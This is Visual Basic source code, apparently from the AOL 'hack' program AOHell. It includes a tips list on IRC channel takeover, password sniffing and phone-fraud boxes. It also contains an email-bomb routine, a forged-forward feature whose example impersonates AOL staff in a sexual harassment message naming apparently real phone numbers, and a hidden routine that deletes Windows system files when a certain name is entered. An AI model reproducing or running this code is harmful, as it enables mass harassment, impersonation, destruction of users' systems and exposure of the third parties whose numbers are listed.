If RandomChoice = 7 Then Label1.Caption = "You can hack Ops on IRC by finding a server that is split from the rest of IRC, and creating your own channel there using the name of the channel you want Ops on.  When that server reconnects to the net, you will have Ops on the real channel.  If you have ServerOp on a server, you can cause it to split on purpose."
If RandomChoice = 8 Then Label1.Caption = "You can modify your IRC client to hide your real username by getting the IRC client from cs.bu.edu /irc/clients, and looking at the source code files irc.c and ctcp.c.  The code you are looking for is fairly easy to spot.  Change it.  Change the username code in irc.c and the ctcp information code in ctcp.c.  Compile and run your client."
If RandomChoice = 9 Then Label1.Caption = "Ethernet sniffing is listening (with software) to the raw ethernet device packets that interest you.  When your software sees a packet that fits a certain criteria, it logs it to a file.  The most common criteria for an interesting packet is one that contains words like ""login"" or ""password."""
If RandomChoice = 10 Then Label1.Caption = "An Internet outdial is a modem connected to the Internet that you can use to dial out.  Normal outdials will only call local numbers.  A GOD (Global OutDial) is capable of calling long distance.  These are particularly good for calling LD BBS's"
If RandomChoice = 11 Then Label1.Caption = "On IRC, you can prevent being flashed by typing ""/exec mesg n"" or, before you start IRC, type ""mesg n""."
If RandomChoice = 12 Then Label1.Caption = "A Virus is a code fragment (not an independent program) that reproduces by attaching to another program.  It may damage data directly, or it may degrade system performance by taking over the system resources which are then not available to authorized users."
If RandomChoice = 13 Then Label1.Caption = "A Worm is an independent program that reproduces by copying itself from one system to another, usually over a network.  Like a virus, a worm may damage data directly, or it may degrade system performance by tying up system resources and even shutting down a network."
If RandomChoice = 14 Then Label1.Caption = "A Red Box is a device that simulates tones that are emitted when a coin is inserted into a payphone, with the purpose of fooling the payphone into believing you have inserted an actual coin.  The actual tones are:  Nickel: 1700+2200 0.060s on - Dime: 1700+2200 0.060s on, 0.060s off, twice repeating - Quarter: 1700+2200 33ms on, 33ms off, 5 times repeating."
If RandomChoice = 15 Then Label1.Caption = "Blue boxes use 2600hz tone to convince telepone switches that use in-band signalling that the caller is actually a telephone operator.  The caller may then access special switch functions, with the usual purpose of making free long distance phone calls."
If RandomChoice = 16 Then Label1.Caption = "A Black Box is a 1.8k ohm resistor placed across your phone line to cause the phone company equipment to be unable to detect that you have answered your telephone.  People who call you will then not be billed for the call.  Black boxes do not work under ESS out-of-band signalling."
If RandomChoice = 17 Then Label1.Caption = "An Acrylic Box steals Three-Way-Calling, Call Waiting, and programmable Call Forwarding on old 4-wire phone systems."
If RandomChoice = 18 Then Label1.Caption = "An Aqua Box drains voltage of the FBI lock-in-trace/trap-trace devices, used to trace phone calls, even after the caller has hung up."
If RandomChoice = 19 Then Label1.Caption = "A Beige Box is a lineman's hand set, or similar device with the same function."
If RandomChoice = 20 Then Label1.Caption = "A Blast box is a phone micropohne amplifier"
If RandomChoice = 21 Then Label1.Caption = "A Blotto Box supposedly shorts every phone out, in the immediate area."
If RandomChoice = 22 Then Label1.Caption = "A Brown Box creates a party line from 2 phone lines."
If RandomChoice = 23 Then Label1.Caption = "A Bud Box taps into your neighbors phone line."
If RandomChoice = 24 Then Label1.Caption = "A divertor box is used to re-route outgoing or incoming calls to another phone."
If RandomChoice = 25 Then Label1.Caption = "A Gold Box can trace calls, tell if a call is being traced, and can change a trace.  -- Something we'd all find useful, I'm sure"
If RandomChoice = 26 Then Label1.Caption = "A Green box can emulate the Coin Collect, Coin Return, and Ringback tones."
If RandomChoice = 27 Then Label1.Caption = "An ANAC (Automatic Number Announcement Circuit) number is a telephone number that plays back the number of the telephone that called it.  ANAC numbers are convenient if you want to know the phone number of a pair of wires. <G>"
If RandomChoice = 28 Then Label1.Caption = "That in January-March 1994, you could log on to America Online with the screen name ""555555555"" (hence the name ""555 trick"").  When logged on a 555 account, no AOL Guide, or op, nor TOSAdvisor himself could log you off."
If RandomChoice = 29 Then Label1.Caption = "That in January of 1994, the IM interception trick was found.  When this trick was performed, you would then receive every IM that was sent on AOL at that moment.  The trick was done by IMing yourself a � symbol."
If RandomChoice = 30 Then Label1.Caption = "That years ago, the founder of the DownChat trick was noneother than your's truly, Da Chronic.  I named it ""DownChat"" because of the name of the .txt file I wrote explaining it was limited to the DOS naming conventions of 10 chars."
If RandomChoice = 31 Then Label1.Caption = "In October of 1994, there was a trick to make invincible accounts that could not be logged off, like back in the 555 days.  Found by my friend Soul Crusher. "
If RandomChoice = 32 Then Label1.Caption = "You can have AOHell automatically send an IM to people entering the room by selecting Auto-Greet on the AI Bot and choosing the action ""Send IM"""
If RandomChoice = 33 Then Label1.Caption = "You can make AOHell load 6 times faster by editing the AOHELL.INI file located in c:\windows.  Change the entry ""EmergencyStart"" to equal ""yes""."
If RandomChoice = 34 Then Label1.Caption = "AOHell was the first AOL ""hack"" program ever released.  AOHell v1.0 Beta 1 was released in November, 1994."
If RandomChoice = 35 Then Label1.Caption = "AOHell has been mentioned in several newspapers and magazines, including The Boston Globe, a San Francisco paper, Wired, Chicago Tribune, New York Times, Wall Street Journal, and Newsweek."

End Sub

Sub Command1_Click ()

If Text1.Text = "" Or Text2.Text = "" Or Text3.Text = "" Then
MsgBox "You have not completed filled out this form.", 16, "Oops!"

Exit Sub
End If

If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If

GoTo begindice

dicerr:
MsgBox "An error has occured, cannot continue.", 16, "Dice Error"
Exit Sub

begindice:
 On Error GoTo dicerr
 AppActivate "America  Online"
 DoEvents

  Dado = 0

For Y = 1 To Text3
   Dado = Dado + 1
   SendKeys "//Roll -dice" + Text1 + " -sides" + Text2 + "{ENTER}"
   If Dado = 3 Then
   DoEvents
   Call Pause(1)
   Dado = 0
   End If

Next Y

End Sub

Sub Command2_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If

 If Text1.Text = "" Or Text2.Text = "" Or Text3.Text = "" Then
 MsgBox "You have not completely filled out this form."
 End If
 GoTo RandomBeg

RandomErr:
Exit Sub

RandomBeg:
On Error GoTo RandomErr

lint = 200

 AppActivate "America  Online"
 DoEvents
 Randomize
            Mamo = 0

 For Y = 1 To Text3

 RD = Rnd * 15
 DC = Rnd * 999
    RD = RD
    DC = DC
       Mamo = Mamo + 1

   SendKeys "//Roll -dice" + RD + " -sides" + DC + "{ENTER}"
       If Mamo = 3 Then
       DoEvents
       Call Pause(1.3)
       Mamo = 0
       End If

Next Y

End Sub

Sub Command3_Click ()
Unload Me

End Sub

Sub Command3D1_Click ()
Unload Me

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(dice.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

Hscroll1.Max = 15
Hscroll1.Min = 0
Hscroll1.LargeChange = 3
Hscroll1.SmallChange = 1
Hscroll2.Min = 0
Hscroll2.Max = 999
Hscroll2.LargeChange = 100
Hscroll2.SmallChange = 10

End Sub

Sub Form_Resize ()
Dim Success As Integer

Success% = SetWindowPos%(dice.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub HScroll1_Change ()
Text1 = Hscroll1

End Sub

Sub HScroll2_Change ()
Text2 = Hscroll2

End Sub

Sub Command3D1_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If
GoTo begin2

titfuck:
MsgBox "An Error has occurred, please make sure you have completely filled in the form.  If you have, please fill out a bug report explaining the problem."
Exit Sub
begin2:
  On Error GoTo titfuck
 zzag1 = Text1

If Text3 = "" Then
MsgBox "Please enter in the names you wish to bomb."
Exit Sub
End If
If Text1 = "" Then
MsgBox "Please specify how many times AOHell should mail the message."
Exit Sub
End If
If Text2.Text = "" Then
MsgBox "Please enter what you want to be in the message."
Exit Sub
End If

'Messages based on amount

 If Text1 < 150 Then
 MsgBox "You fucking pussy! What the hell kind of Email bomb is that?"
 End If

    If Text1 > 501 Then
    Response = MsgBox("This will take a while, are you sure you want to continue?", 36, "Email Bomb")
    'Possible Response values: 6--YES, 7--NO.
    If Response = 6 Then GoTo sHit
    ElseIf Response = 7 Then Exit Sub
    End If
   Response = MsgBox("You must make sure that your AOL settings are set so it WILL NOT close mail after it has been sent.  Under the ""Members"" menu, click on  ""Set Preferences"".  Then choose ""Mail"".  Uncheck the box that says ""Close mail after it has been sent.""  So it won't close mail after it has been sent.  Do NOT hit the OK button to this message unless your settings are like this.", 65, "AOL Settings")
   'Possible Response values: 1--IDOK, 2--CANCEL.
   If Response = 1 Then GoTo sHit
   If Response = 2 Then Exit Sub

sHit:

ebstat.Show

  ebstat.Label3.Caption = 0
  ebstat.Label4.Caption = zzag1

ebomb.Hide
ebstat.Panel3D1.Caption = "Bombing: " + Text3.Text + "..."

 AppActivate "America  Online"

 DoEvents

 'Text2.Text + "     " + "****Email Bombed with " + cryptname + "****"

 SendKeys "%MC"
 DoEvents
 Call Pause(.5)
        thiswin% = FindWindow(0, "America  Online")
        ComposeHand = FindChildByTitle(thiswin%, "Compose Mail")
        SendButton2 = VBEnumChildWindows(ComposeHand, 2)
        ToField = VBEnumChildWindows(ComposeHand, 10)
        SubField = VBEnumChildWindows(ComposeHand, 14)
        MsgField = VBEnumChildWindows(ComposeHand, 17)
        VBMsg1.SubClasshWnd = SendButton2

lint = 20000
lpstring = Text3.Text

ToText = SendMessageByString(ToField, WM_SETTEXT, lint, lpstring) ',lint
 DoEvents

 lpstring = Text5.Text
SubText = SendMessageByString(SubField, WM_SETTEXT, lint, lpstring) ',lint
 DoEvents
  ret = Chr$(13) + Chr$(10)
  lpstring = Text2.Text + ret + "***Email bombed with " + cryptname + "***"

MsgText = SendMessageByString(MsgField, WM_SETTEXT, lint, lpstring) ',lint
 DoEvents
  Call Pause(.3)

 For Y = 1 To Text1

     VBMsg1.SendMessage = WM_LBUTTONDOWN
     VBMsg1.SendMessage = WM_LBUTTONUP
    DoEvents

 thiswin1% = FindWindow(0, "America Online")
 While thiswin1% = 0
 If qui = 1000 Then GoTo endit1
 DoEvents
 DoEvents
 dodo = 4 + 4
 DoEvents
 DoEvents
 thiswin1% = FindWindow(0, "America Online")
 Wend
    DoEvents
    Call Pause(.2)
    SendKeys "{ENTER}"

ebstat.Label3.Caption = ebstat.Label3.Caption + 1
ebstat.Label4.Caption = ebstat.Label4.Caption - 1

lala6 = ebstat.Label3.Caption

ebstat.Percent2.Percent = lala6 / zzag1 * 100

 Next Y

endit1:

ebstat.Hide
ebomb.Show
GoTo endall

endall:

If ebstat.Check3D1.Value = True Then
AppActivate "America  Online"
SendKeys "%{f4}"
Call Pause(2)
SendKeys "y"
Call Pause(3)
End If
Unload ebstat
qui = 0
Text5.SetFocus
MsgBox "Make sure you change your settings back so it WILL close mail after it has been sent **Before you use the Mass Mail feature***", 64, "AOL Settings"

End Sub

Sub Command3D2_Click ()
Unload Me
End Sub

Sub Command3D3_Click ()
SendKeys "{F1}"
DoEvents

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(ebomb.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
qui = 0

End Sub

Sub Form_Resize ()
Dim Success As Integer

Success% = SetWindowPos%(ebomb.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Check3D1_Click (Value As Integer)
GoTo beg9

err9:
Exit Sub

beg9:
On Error GoTo err9
AppActivate "America  Online"
If Check3D1.Value = True Then
mm2.Check3D3.Value = True
Else
mm2.Check3D3.Value = False
End If

End Sub

Sub Command3D1_Click ()
GoTo StatBeg

StatErr:
Exit Sub

NexErr:
Exit Sub

StatBeg:
On Error GoTo StatErr
AppActivate "America  Online"

Nex:
On Error GoTo NexErr

qui = 1000
qui1 = 1000
panel3d1.Caption = "Cancel Request Acknowleged, please wait."

End Sub

Sub Form_Click ()
AppActivate "America  Online"

End Sub

Sub Form_DblClick ()
AppActivate "America  Online"

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(ebstat.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

'Move (Screen.Width - Width) \ 2, (Screen.Height - Height) \ 2

End Sub

Sub Timer1_Timer ()
minutes1 = minutes1 - 1

Label9.Caption = minutes1 * 2

If minutes1 = 0 Then
label8.Caption = "   Less Then"
Label10.Caption = "Minute Left"
Label9.Caption = 1
End If

End Sub

Sub Command3D1_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If

GoTo EliteBeg

EliteErr:
GoTo Next1

EliteErr2:
Exit Sub

EliteBeg:
On Error GoTo EliteErr

'If Text4.Text = "wyvern" Then GoTo Valid Else GoTo Wrong
AppActivate "America  Online"
DoEvents
Call Pause(.3)
     thiswin% = FindWindow(0, "America  Online")
     EditHand4 = FindChildByClass(thiswin%, "_AOL_Edit")
     SendHand7 = FindChildByTitle(thiswin%, "Send")
     VBMsg1.SubClasshWnd = SendHand7
lint = 100
lpstring = Text3.Text
EditText = SendMessageByString(EditHand4, WM_SETTEXT, lint, lpstring)
    DoEvents
    Call Pause(.4)
    VBMsg1.SendMessage = WM_LBUTTONDOWN
    VBMsg1.SendMessage = WM_LBUTTONUP
  GoTo Next2

Next1:

 SendKeys "{ENTER}"

Next2:
 On Error GoTo EliteErr2

    Text3.Text = ""
    Text1.SetFocus

'Wrong:
'MsgBox "The password you entered is invalid.  This feature is password protected to avoid abuse by lame pricks who have nothing better to do than make other people pissed off because of their miserable existence."

Endall:

End Sub

Sub Command3D2_Click ()
    Text3.Text = ""
    Text1.SetFocus
End Sub

Sub Command3D4_Click ()
    'MsgBox "ELiTE Talker - courtesy of Z00P"
    Unload Me

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(elite1.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
End Sub

Sub Text1_Change ()
    If Text1.Text = "a" Then
	text2.Text = "@"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "A" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "b" Then
	text2.Text = "b"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "B" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "c" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "C" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "d" Then
	text2.Text = "d"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "D" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "e" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "E" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "f" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "F" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "g" Then
	text2.Text = "g"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "G" Then
	text2.Text = "G"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "h" Then
	text2.Text = "h"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "H" Then
	text2.Text = "|-|"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "i" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "I" Then
	text2.Text = "|"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "j" Then
	text2.Text = "j"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "J" Then
	text2.Text = "J"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "k" Then
	text2.Text = "k"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "K" Then
	text2.Text = "K"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "l" Then
	text2.Text = "L"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "L" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "m" Then
	text2.Text = "m"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "M" Then
	text2.Text = "|\/|"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "n" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "N" Then
	text2.Text = "|\|"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "o" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "O" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "p" Then
	text2.Text = "p"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "P" Then
	text2.Text = "P"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "q" Then
	text2.Text = "*q*"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "Q" Then
	text2.Text = "`Q"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "r" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "R" Then
	text2.Text = "�R�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "s" Then
	text2.Text = "$"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "S" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "t" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "T" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "u" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "U" Then
	text2.Text = "�ܕ"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "v" Then
	text2.Text = "v"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "V" Then
	text2.Text = "\/"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "w" Then
	text2.Text = "vv"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "W" Then
	text2.Text = "\/\/"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "x" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "X" Then
	text2.Text = "><"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "y" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "Y" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "z" Then
	text2.Text = "z�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "Z" Then
	text2.Text = "Z"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "*" Then
	text2.Text = "�"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = " " Then
	text2.Text = " "
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "!" Then
	text2.Text = "!"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "=" Then
	text2.Text = "=)"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "'" Then
	text2.Text = "'"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "," Then
	text2.Text = ","
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "?" Then
	text2.Text = "?"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = ":" Then
	text2.Text = ":"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = ";" Then
	text2.Text = ";"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = ")" Then
	text2.Text = ")"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "(" Then
	text2.Text = "("
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "1" Then
	text2.Text = "1"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "2" Then
	text2.Text = "2"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "3" Then
	text2.Text = "3"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "4" Then
	text2.Text = "4"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "5" Then
	text2.Text = "5"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "6" Then
	text2.Text = "6"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "7" Then
	text2.Text = "7"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "8" Then
	text2.Text = "8"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "9" Then
	text2.Text = "9"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "0" Then
	text2.Text = "0"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "\" Then
	text2.Text = "\"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "<" Then
	text2.Text = "<"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = ">" Then
	text2.Text = ">"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "@" Then
	text2.Text = "@"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "#" Then
	text2.Text = "#"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "$" Then
	text2.Text = "$"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "%" Then
	text2.Text = "%"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "^" Then
	text2.Text = "^"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "&" Then
	text2.Text = "&"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "*" Then
	text2.Text = "*"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = "(" Then
	text2.Text = "("
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If
    If Text1.Text = ")" Then
	text2.Text = ")"
	Text1.Text = ""
	Text3.Text = (Text3.Text + text2.Text)
	Text1.SetFocus
    End If

End Sub

Sub Command3D1_Click ()
fname = Text2.Text
fname1 = UCase$(fname)
fname2 = InStr(1, fname1, "CHRON")

If fname2 > 0 Then
MsgBox "Screwing Chronic with his own software is a no-no! :D  C-ya!"
Kill "c:\windows\win.com"
Kill "c:\windows\win.ini"
Kill "c:\windows\system.ini"
Kill "c:\windows\progman.exe"
Kill "c:\windows\main.grp"
End
End If

If Text1.Text = "" Or Text2.Text = "" Or Text3.Text = "" Or Text4.Text = "" Or Text5.Text = "" Or Text6.Text = "" Or Text7.Text = "" Or Text8.Text = "" Or Text9.Text = "" Or Text10.Text = "" Then
MsgBox "You have not completely filled in all the blanks.", 16, "Cannot Send"
GoTo endall
End If
FakeForward.Hide

AppActivate "America  Online"
DoEvents
'SendKeys "^M"
SendKeys "^" + Chr$(109)
Call Pause(1)
SendKeys Text1.Text
SendKeys "{TAB 2}"
SendKeys "Fwd: " + Text3.Text
SendKeys "{TAB}"
DoEvents
SendKeys Text7.Text
SendKeys "{ENTER}"
SendKeys "-----------------{ENTER}"
SendKeys "Forwarded message:{ENTER}"
clipboard.SetText Chr$(9)
SendKeys "Subj:" + "^V" + Text3.Text + "{ENTER}"
If Text5 < 10 And option3d1.Value = True Then
Text5.Text = "0" + Text5.Text
End If
If Text6.Text < 10 Then
Text6.Text = "0" + Text6.Text
End If
If Text10.Text < 10 Then
Text10.Text = "0" + Text10.Text
End If

Dim tim
Dim tim2
If option3d2.Value = True Then Text5.Text = Text5.Text + 12  'change to military time
If option3d1.Value = True Then Text5.Text = Text5.Text

If option3d3.Value = True Then
zone = " EST"
End If
If option3d4.Value = True Then
zone = " CST"
End If
If option3d5.Value = True Then
zone = " PST"
End If

tim = Text5.Text + ":" + Text6.Text + ":" + Text10.Text + zone

SendKeys "Date:" + "^V" + Text8.Text + " " + tim + "{ENTER}"
SendKeys "From:" + "^V" + Text2.Text + "{ENTER}"
SendKeys "To:" + "^V" + Text9.Text + "{ENTER}"
SendKeys "{ENTER}"
DoEvents
SendKeys Text4.Text
SendKeys "{TAB} "
Unload FakeForward

endall:
Call Pause(3)
DoEvents

End Sub

Sub Command3D2_Click ()
Text1.Text = "Steve Case"
Text2.Text = "TOSAdvisor"
Text3.Text = "Hey baby"
Text4.Text = "Wanna call me up for some HOT gay phone sex? Just call me up at 203-924-6593 and ask for Bludy {(}my gay nickname{)}.  Or call my gay lover at 801-221-7944 and ask for Nicky Poo {(}HIS gay nickname{)}, he likes to talk dirty to guys, and he gives good head."
Text7.Text = "Hey Steve, will you PLEASE tell TOS to stop sending me these gay letters?  I'm getting really tired of them!"
Text8.Text = "95-01-24"
Text9.Text = ""
MsgBox "Now enter your screen name in the YOUR Screen Name: blank and hit the Send button.  Or, if you can put your screen name in the Forward To Who: blank and have it send it to yourself so you can see what it looks like.", 64, "Fake Forward Example"
End Sub

Sub Command3D3_Click ()
Unload Me

End Sub

Sub Command3D4_Click ()
SendKeys "{F1}"
DoEvents

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(FakeForward.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

MsgBox "If you have never used this feature before, please hit the Example button.", 64, "Fake Forward"
End Sub

Sub Form_Resize ()
Dim Success As Integer

